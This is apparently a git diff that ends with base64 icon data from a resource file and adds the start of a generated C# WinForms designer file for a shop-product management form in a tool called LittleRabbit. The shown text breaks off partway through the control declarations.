AP+drgD/na4A/52uAP+crQD/q74A/52tAL0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACaqwCTrb8A/5yt + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/nK0A/5qsAP+XqQD/lacA/5WnAP+WqAD/mKoA/5qrAP+aqwD/masA/5iqAP+WqAD/lacA/5Wn + AP+XqQD/mqsA/5ytAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52tAP+tvwD/mqsAhwAAAAAAAAAAAAAAAAAA + AACbrAA6prgA/5+wAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+ZqwD/lacA/5ipAP+jsxP/tMA+/8TOaf/T2o7/3uOq/+XpvP/p7cf/6u3J/+ns + xv/l6bv/3eOo/9LajP/Ezmj/tME+/6SzFf+ZqgD/lKcA/5epAP+crQD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/n7EA/6O0 + AP+cqwAwAAAAAAAAAAAAAAAAm60Ayai6AP+crQD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/nK0A/5aoAP+WqAD/qbcj/8fQcf/k6Lv/+Pnu//////////////////// + ///////////////////////////////////////////////////5+e//5+vC/83VgP+wvjf/m6wA/5Sn + AP+ZqwD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/5ytAP+puwD/mqwAvQAAAAAAAAAAna4APqa5AP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/l6kA/5ipAP+1wUT/3+Sv//z8+P////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////+zv0P/J0nj/prUd/5WnAP+YqgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/nq8A/6S2AP+csAA0AAAAAJ2uAKOqvAD/na0A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+arAD/lacA/7C+Of/j6Ln///////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////r78//X3Zn/q7kq/5WnAP+ZqwD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/5ytAP+rvQD/na4AlZmq + AA6brQDlorMA/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+XqQD/na4I/9La + jv////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////39 + +f/V3Jb/pbQc/5SnAP+brQD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/o7UA/5ysANmcrwBgm64A/Z6vAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+UpwD/q7ks/+zvz/////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////j57f/G0G//masA/5epAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/56vAP+drAD1m6wAt56vAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+UpgD/t8NJ//r68P////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////+bqwP+quSv/lKYA/5yt + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/m64A/ZytAPGdrgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+UpgD/vMhV//7+/f////////////////////////////// + ///////////////////////////////////z9eD/xM5t/77IXv/l6bz///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////+/vz/8HLYv+VpwD/mqwA/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/5yt + AP+esAD/nK0A/5ytAP+crQD/nK0A/5ytAP+crQD/nK0A/5ytAP+TpgD/uMRM//39/f/9/f3//f39//39 + /f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39//39/f/r7s7/nq4N/6W0Hv+frw3/kqUA/9DY + hf/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39//39 + /f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3/1NuT/5iqAf+XqQD/nK0A/5ytAP+crQD/nK0A/5yt + AP+crQD/nK0A/5ytAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+WqAD/rrww//v8 + 9v/////////////////////////////////////////////////////////////////8/Pj/p7Yc/8rT + ev///////////626Lv+QowD/4ue0//////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////////k6Lf/n68O/5ep + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+ZqwD/n7AO//L03f////////////////////////////////////////////////////////////// + ////////2+Gj/5KlAP+7x1D/zNR7/8jRcP+jshH/lacA/627KP/9/fv///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////+vvy/+ishX/l6kA/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+crQD/lacA/93ipf////////////////////////////////////////////// + /////////////////////////////7rGTP+WqAD/l6kA/5WnAP+VpwD/nK0A/52uAP+XqQD/6OvC//// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////7vDR/6KyFv+ZqwD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/lacA/7vGTf////////////////////////////// + //////////////////////////////////////////////////+ruSX/mKoA/52uAP+drgD/na4A/52u + AP+drgD/lKYA/9TbkP////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////////n68D/m6wD/5yt + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/m6wA/52uB//y9N3///////// + ///////////////////////////////////////////////////////////////////r7sv/obEP/5mr + AP+drgD/na4A/52uAP+drgD/nK0A/5OmAP+0wED/9vfl//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////9vjp/6CwBv+brQD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/5Sn + AP/H0Gz///////////////////////////////////////////////////////////////////////// + ///L03f/k6UA/56uBf+brAD/l6kA/52uAP+drgD/mKoA/5usAP+ruSP/m6wC/52uDv/r7sz///////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////+/y1/+drQH/nK0A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/5usAP+hsQ//+Pnu//////////////////////////////////////////////////// + ///////////////////Y35z/i54A/8nSdf/09eH/6+7L/7nFTP+YqgD/masA/6m4Jf/o7MX//v38//Hz + 2/+ishn/o7IQ//39+/////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////p7MX/masA/5ytAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+arAD/orIU/+Xpu/////////////////////////////// + ////////////////////////////////////////z9aB/7nFTf//////////////////////rbss/5Wn + AP/u8NH/////////////////7O/M/83Vfv/+/vz///////////////////////////////////////// + ////////////////////////////////////////////////////////////////////////3+Sr/5ao + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/5qrAP+WqAD/2d+c//// + //////////////////////////////////////////////////////////////////////////////// + ///+/v7/0dmJ/56vDv+XqQD/w81j//v89v////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////9HYh/+VpwD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/masA/5usA//w8tj///////////////////////////////////////////////////////// + /////////////////////////v79/73IU/+XqQD/l6kA/6e2G//3+Ov///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////By17/lagA/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+TpgD/xc9p//////////////////////////////////// + ////////////////////////////////////////////////////////7/LX/+rtzP/7+/X///////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////////sL0y/5ipAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/maoA/6q4Iv/9/fv///////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////////////////////////9/jq/6Gx + C/+brAD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/5ut + AP+drgL/8fPc//////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////+Xpu/+XqQD/nK0A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/l6kA/+Lntf///////////////////////////+/y1v/09uP///////// + //////////////v89f/f5LH/+vvz//////////////////////////////////////////////////z8 + 9//q7sz////////////////////////////q7cr/6OvD//////////////////////////////////// + ///////////////////////////////////N1X3/lKcA/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/5SnAP/R2Yn///////////////////////// + //+1wT//lqgA/83Wf//o68L/6OvC/9DYhv+ishb/lKYA/+/y1/////////////////////////////// + ///////////////////t8NH/k6UA/7G+Ov/c4qX/6u3I/+Dlr/++yFj/jqEA/7nFSv////////////// + ////////////////////////////////////////////////////////tMA7/5epAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+WqAD/vchU//// + ////////////////////////8PPa/7rFUv+YqQD/lacA/5WnAP+XqQD/tMBD/+nsxP////////////// + /////////////////////////////////////////f77/9rgoP+ltB//lacA/5WnAP+UpwD/n7AP/8vT + e//4+e7/////////////////////////////////////////////////////////////////9fbl/5+v + CP+brAD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/masA/6i3Hf/9/fn/////////////////////////////////9fbm/+bqwv/m6sL/9Pbl//// + /////////////////////////////////////////////////////////////////////////////+3w + 1P/k6L7/6+7O//z89/////////////////////////////////////////////////////////////// + /////////////9vhof+VpwD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/5ytAP+aqwD/7O/P//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////7+/v+4xEj/lqgA/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/lKcA/9DYh/////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////9/vz/qrgj/5mqAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/5ep + AP+xvjL///////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////////////////8TN + Zf+VpwD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+aqwD/l6kA/+vuzP////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////g5a7/lqgA/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+brAD/p7Ya/5mqAv/Ayln///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////9vfo/6CwCf+brAD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/lacA/9DXhP/Q2IT/k6YA//L0 + 3f////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////+yvzf/l6kA/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/5ao + AP/i57T//v7+/5+vEP+6xUz///////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////yNFw/5SnAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/5utAP+drgP/8PPa///////h5rH/kKMA/+Tot/////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////93jqP+WqAD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+ZqwD/qLcd//z9+f///////////7/KW/+drgv/+frw//// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////v8dX/nK0B/5ytAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/l6kA/7XCQP////////////// + ///8/Pj/pbUe/7K/Pv////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////+////////////////////////////////////////+/z2/6a1 + GP+aqwD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/5Wo + AP/CzGD///////////////////////L03P+ZqwT/v8pe//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////j57v/39ur///////////////////////// + //////////////////+zwDr/l6kA/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+VpwD/zNR6////////////////////////////7O/M/5mqBP+/yV7///////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////v79f/g5a//+/z2//// + ////////////////////////////////////////wMtc/5WoAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/lacA/9LZi/////////////////////////////// + ///v8dT/oLAV/7G+Pv/4+ev///////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////39 + +//O1oD/8fPa/////////////////////////////////////////////////8zUe/+VpwD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/5WnAP/U25D///////// + //////////////////////////////j56/+wvTz/na4Q/93jqv////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////n67/+7xlD/4OWu//////////////////////////////////////////////////// + ///W3JT/lacA/52uAP+drgD/na4A/52uAP+drgD/na4A/56wAP+crQD/nK0A/5ytAP+crQD/nK0A/5yt + AP+UpgD/z9eF//39/f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39/8zUgP+bqwz/tsJM/+Xp + wP/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39//39 + /f/9/f3//f39//39/f/9/f3//f39/+Xpvv+otyb/0dmK//39/f/9/f3//f39//39/f/9/f3//f39//39 + /f/9/f3//f39//39/f/9/f3/2+Gl/5WnAP+crQD/nK0A/5ytAP+crQD/nK0A/52uAP+drADzna4A/52u + AP+drgD/na4A/52uAP+drgD/lacA/8XPaf////////////////////////////////////////////// + ////////09qK/5CjAP+YqgD/sr86/9Tbkf/v8db//v7+//////////////////////////////////// + ///////////////////////////////////5+vH/3+Su/7jETP+SpQD/xs9q//////////////////// + /////////////////////////////////////////////+Dlrv+XqQD/na4A/52uAP+drgD/na4A/52u + AP+crQD/nKsAu56vAP+drgD/na4A/52uAP+drgD/na4A/5iqAP+wvTD///////////////////////// + ////////////////////////1dyU/52uC/+brQD/nK0A/5epAP+VpwD/nK0B/6y6Kf+8yFT/zNR8/9nf + nv/k6Ln/6+7N//Hz2v/z9eH/8/Xh//Hz2v/q7sr/4OWv/9DYh/+7xlD/pbQY/5aoAP+WqAD/masA/6e2 + JP/q7cj////////////////////////////////////////////////////////////f5K3/lqgA/52u + AP+drgD/na4A/52uAP+drgD/m64A/ZyuAGSbrgD9nq8A/52uAP+drgD/na4A/52uAP+crQD/maoA/+jr + wv/////////////////////////////////29+b/vslb/5WnAP+arAD/na4A/52uAP+drgD/na4A/5ut + AP+YqgD/lqgA/5WnAP+VpwD/mKkA/5usAP+ergL/n7AG/5+wB/+ergL/mqsA/5epAP+VpwD/lqgA/5qr + AP+drgD/na4A/52uAP+YqgD/na4K/93jqP////////////////////////////////////////////// + ////////2eCe/5WnAP+drgD/na4A/52uAP+drgD/nq8A/52sAPWbqQASnK4A56KzAP+drgD/na4A/52u + AP+drgD/na4A/5iqAP+otiL/7fDS//////////////////X25v/Q2In/o7IW/5WnAP+crQD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/5ytAP+crQD/m60A/5usAP+brAD/m60A/5yt + AP+crQD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/5mrAP+WqQD/xs9v//v79P////////////// + /////////////////////////////83Vff+UpwD/na4A/52uAP+drgD/na4A/6O0AP+drQDbAAAAAJ2u + AKeqvAD/na0A/52uAP+drgD/na4A/52uAP+drgD/mKoA/56vBv+5xUr/wsxh/7fDRf+isg//lacA/5qr + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/nK0A/5Sn + AP+quCj/3+St//////////////////////////////////////+1wT7/l6kA/52uAP+drgD/na4A/5yt + AP+qvQD/nawAmwAAAACdsABEp7kA/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+brAD/lqgA/5Wn + AP+XqQD/mqwA/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/mKoA/5aoAP+zwD//3uOr//v79f/////////////////l6bz/masC/5yt + AP+drgD/na4A/52uAP+erwD/pbcA/5+xADgAAAAAAAAAAJqsAM+nuQD/nK0A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+crQD/l6kA/5aoAP+nth3/vslY/8zV + fP/Fz2n/oLAM/5qrAP+drgD/na4A/52uAP+crQD/qLoA/5ysAMMAAAAAAAAAAAAAAACarQBCp7kA/56v + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/masA/5aoAP+VpwD/lacA/5usAP+drgD/na4A/52uAP+drgD/n7AA/6S2AP+dqwA2AAAAAAAA + AAAAAAAAAAAAAJurAJ2svwD/nK0A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/nK0A/62/ + AP+bqwCPAAAAAAAAAAAAAAAAAAAAAAAAAACfvwAInbAAz6q8AP+crQD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/nK0A/6u9AP+crQDFf78ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJepABqfsgDfqbwA/5yt + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/nK0A/6q9AP+gsgDVmbIAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAlacAHKGxAM2svwD/nq8A/5ytAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+crQD/n7AA/62/AP+hsgDFlqIAFgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACNqQAIoLEAm6e5AP+nuQD/na4A/52tAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/5ytAP+drgD/p7kA/6W3AP+gsgCTZpkABAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACerwBGobMAx6e5 + AP+puwD/obMA/56vAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/nq8A/6KzAP+qvAD/prgA/6C0 + AMOcsABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAACisQBIobEApaCxAOOerwD7nq8A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/nq8A/52w + APmgsADhoLMAn6OyAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAChuwASorQAZqCyALeerwDvnrAA/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+esAD/n7AA66CzALOitQBgqrsADgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA/+AAAAAAA///gAAAAAAA//4AAAAAAAA//AAAAAAAAB/4AAAAAAAAD/AAAAAAAAAH4AAAAAAA + AAPgAAAAAAAAA8AAAAAAAAABwAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAA + AACAAAAAAAAAAMAAAAAAAAABwAAAAAAAAAHgAAAAAAAAA+AAAAAAAAAD8AAAAAAAAAf4AAAAAAAAD/wA + AAAAAAAf/gAAAAAAAD//gAAAAAAA///gAAAAAAP///wAAAAAH/8= + + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/ShopProductForm.Designer.cs b/TEMUKJD/KJDForms/UploadForms/ShopProductForm.Designer.cs new file mode 100644 index 0000000..166cbef --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/ShopProductForm.Designer.cs @@ -0,0 +1,608 @@ +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + partial class ShopProductForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.buttonEx1 = new LittleRabbit.UserControls.ButtonEx(); + this.ucGroupBoxEx3 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.btnStop = new LittleRabbit.UserControls.ButtonEx(); + this.btnDelOffSale = new LittleRabbit.UserControls.ButtonEx(); + this.btnDelOnSale = new LittleRabbit.UserControls.ButtonEx(); + this.btnOffline = new LittleRabbit.UserControls.ButtonEx(); + this.btnOnline = new LittleRabbit.UserControls.ButtonEx(); + this.ucGroupBoxEx1 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.btnGetProductCount = new LittleRabbit.UserControls.ButtonEx(); + this.btnRefreshShop = new LittleRabbit.UserControls.ButtonEx(); + this.ucGroupBoxEx2 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.txtKeywords = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label1 = new System.Windows.Forms.Label(); + this.chkNotOperateChangeDays = new System.Windows.Forms.CheckBox(); + this.chkNotOperateHasSales = new System.Windows.Forms.CheckBox(); + this.txtNotOperateChangeDays = new System.Windows.Forms.TextBox(); + this.label2 = new System.Windows.Forms.Label(); + this.txtOperateCount = new System.Windows.Forms.TextBox(); + this.label12 = new System.Windows.Forms.Label(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.dgvShop = new LittleRabbit.UserComponent.DataGridViewEx(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colShopId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShopName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colAuthStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colLoginStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colCanUse = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colDetail = new System.Windows.Forms.DataGridViewLinkColumn(); + this.colOnSaleCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colOffSaleCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colOperationCount = new 